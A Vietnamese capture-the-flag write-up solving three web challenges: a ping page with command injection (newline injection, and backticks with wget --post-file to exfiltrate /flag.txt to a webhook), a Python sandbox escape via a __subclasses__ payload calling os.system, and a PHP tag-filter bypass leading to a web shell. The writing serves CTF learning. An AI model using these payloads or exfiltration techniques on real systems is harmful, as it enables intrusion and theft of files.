## WEB ### Ethical Ping Pong Club Link: https://battle.cookiearena.org/challenges/web/ethical-ping-pong-club Đây là một bài mình có khá nhiều cách giải, vì vậy chúng ta sẽ điểm qua vài cách. Giao diện bài đã giải thích cho chúng ta cách hoạt động chương trình: ![Imgur](https://i.imgur.com/DUAYV4o.png) Thử Ping đến IP bất kì: ![](https://hackmd.io/_uploads/HyOrrbSFh.png) Vậy thì nhìn qua cách hoạt động ta có thể đoán bài này có vuln Command Injection. Thử ```;ls``` ![](https://hackmd.io/_uploads/ryO4UbBtn.png) Bài đã filter một số thứ, dưới đây là danh sách filter: + `backspace` + `$` + `;` + `|` + `&` Do đã chặn 1 số kí tự nên việc nối dài câu lệnh hay việc chạy nền nó không xảy ra được, ngoài ra không cho phép backspace khiến chúng ta không nhập được câu lệnh theo ý muốn Chúng ta có 2 hướng giải cho bài này: ##### Cách 1: Chúng ta sẽ sử dụng newline và chạy 1 câu lệnh mới: ![](https://hackmd.io/_uploads/H1ToOZrF3.png) Flag sẽ nằm ở `/flag.txt` và chúng ta sử dụng `cat<{file_name}` ![](https://hackmd.io/_uploads/Hy8lY-HF2.png) #### Cách 2: Sử dụng backticks ` `` ` để chạy câu lệnh và dùng wget để đưa dữ liệu ra webhook: ![](https://hackmd.io/_uploads/HyxF9bBFn.png) ![](https://hackmd.io/_uploads/SJIsqWSK2.png) Sử dụng `--post-file` để đưa file `/flag.txt` ra ngoài: ![](https://hackmd.io/_uploads/BJFA5bHKh.png) ![](https://hackmd.io/_uploads/HyQ-ibHYn.png) ![](https://hackmd.io/_uploads/rJeMobHF3.png) Flag: `EHC{C0mm4nd_1nj3ct10n_89933f95053fc0e9809d1bb57bba4cad}` ### Code get Flag Chúng ta sẽ được cấp source và cùng điểm qua giao diện trước khi vào source nha: ![](https://hackmd.io/_uploads/rJCt2ZHY2.png) Bài cho phép chúng ta up file python lên và chạy nó, đưa chúng ta kết quả: ![](https://hackmd.io/_uploads/H1rph-rK2.png) Source code: ```python= from flask import Flask, request, render_template, redirect from ast import parse import re import subprocess import uuid app = Flask(__name__) app.static_folder = 'static' app.config['UPLOAD_FOLDER'] = './uploads' @app.route('/') def index(): return render_template('home.html') @app.route('/upload') def upload(): return render_template('index.html') @app.route('/submit', methods=['GET', 'POST']) def submit(): if 'file' not in request.files: return redirect('/') f = request.files['file'] fname = f"uploads/{uuid.uuid4()}.py" f.save(fname) code_to_test = re.sub(r'\\\s*\n\s*', '', open(fname).read().strip()) if not code_to_test: return redirect('/') tested = test_code(code_to_test) if tested[0]: res = '' try: ps = subprocess.run(['python', fname], timeout=5, capture_output=True, text=True) res = ps.stdout except: res = 'code timout' return render_template('submit.html', code=code_to_test.split('\n'), text=res.strip().split('\n')) else: return render_template('submit.html', code=code_to_test.split('\n'), text=[tested[1]]) @app.route('/static/<path:path>') def static_file(filename): return app.send_static_file(filename) def test_for_non_ascii(code): return any(not (0 < ord(c) < 127) for c in code) def test_for_imports(code): cleaned = clean_comments_and_strings(code) return 'import ' in cleaned def test_for_invalid(code): if len(code) > 1000: return True try: parse(code) except: return True return False blocked = ["__import__", "globals", "locals", "__builtins__", "dir", "eval", "exec", "breakpoint", "callable", "classmethod", "compile", "staticmethod", "sys", "__importlib__", "delattr", "getattr", "setattr", "hasattr", "sys", "open"] blocked_regex = re.compile(fr'({"|".join(blocked)})(?![a-zA-Z0-9_])') def test_for_disallowed(code): code = clean_comments_and_strings(code) return blocked_regex.search(code) is not None def test_code(code): if test_for_non_ascii(code): return (False, 'found a non-ascii character') elif test_for_invalid(code): return (False, 'code too long or not parseable') elif test_for_imports(code): return (False, 'found an import') elif test_for_disallowed(code): return (False, 'found an invalid keyword') return (True, '') def clean_comments_and_strings(code): code = re.sub(r'[rfb]*("""|\'\'\').*?\1', '', code, flags=re.S) lines, res = code.split('\n'), '' for line in lines: line = re.sub(r'[rfb]*("|\')(.*?(?!\\).)?\1', '', line) if '#' in line: line = line.split('#')[0] if not re.fullmatch(r'\s*', line): res += line + '\n' return res.strip() if __name__ == '__main__': app.run('0.0.0.0', port=1337, debug=True) ``` Line 61 sẽ là một số từ khóa bị block, vì vậy qua cách hoạt động của chương trình và cùng với 1 số từ khóa, mình sẽ suy ra đây là vuln liên quan đến SSTI nhưng fake 1 xíu. Cho ai chưa hiểu SSTI và cách hoạt động của payload: https://secure-cookie.io/attacks/ssti/ Solve payload: `print(().__class__.__mro__[1].__subclasses__()[84]().load_module('os').__dict__['sy'+'stem']('cat /flag.txt'))` Flag: `EHC{oops_bad_filter_zer0day_e14191ac9b404ca373616a8d2d619edf}` ### PHP có làm em lo lắng Một bài ngốn rất nhiều thời gian của mình cho việc xác định vuln, mãi mình mới có thể làm được. Cùng solve nào ![](https://hackmd.io/_uploads/Hk1u0ZrKh.png) Sau khi register và login, ta sẽ được đưa đến trang (giống trang log) ghi lại thời gian đăng nhập, ngoài ra còn cho phép xuất ra file csv. ![](https://hackmd.io/_uploads/S1dACWSFn.png) Ở đây thì ban đầu mình đã xác định nhầm là vuln liên quan đến file csv và sau đó là mình tìm được cách cho script hoạt động có thể dẫn đến XSS nhưng 2 cách đều không đúng hướng giải :v: Đến khi nhận hint từ anh Antoine Nguyễn: ![](https://hackmd.io/_uploads/rJloJfHF2.png) Register với code PHP: ![](https://hackmd.io/_uploads/B1UyxGrY3.png) ![](https://hackmd.io/_uploads/ByHGefrKh.png) Xuất hiện ngay dấu comment `#` đằng sau `<?php` Bypass bằng `<?phP` ![](https://hackmd.io/_uploads/BJpIgzBtn.png) ![](https://hackmd.io/_uploads/BksqxMrKh.png) Ok, bước tiếp theo mình sẽ can thiệp vào file Export ra. ![](https://hackmd.io/_uploads/Hy7JbzBYh.png) ![](https://hackmd.io/_uploads/ByXgZfSKn.png) Done, đã chạy được code PHP, sau đó ta upload Shell lên và lấy flag. ![](https://hackmd.io/_uploads/HklEWGrt3.png) Flag: `EHC{10v3_y0u_n0c_n0c_40b276b368132c4735a3ca2ae024a9b9}`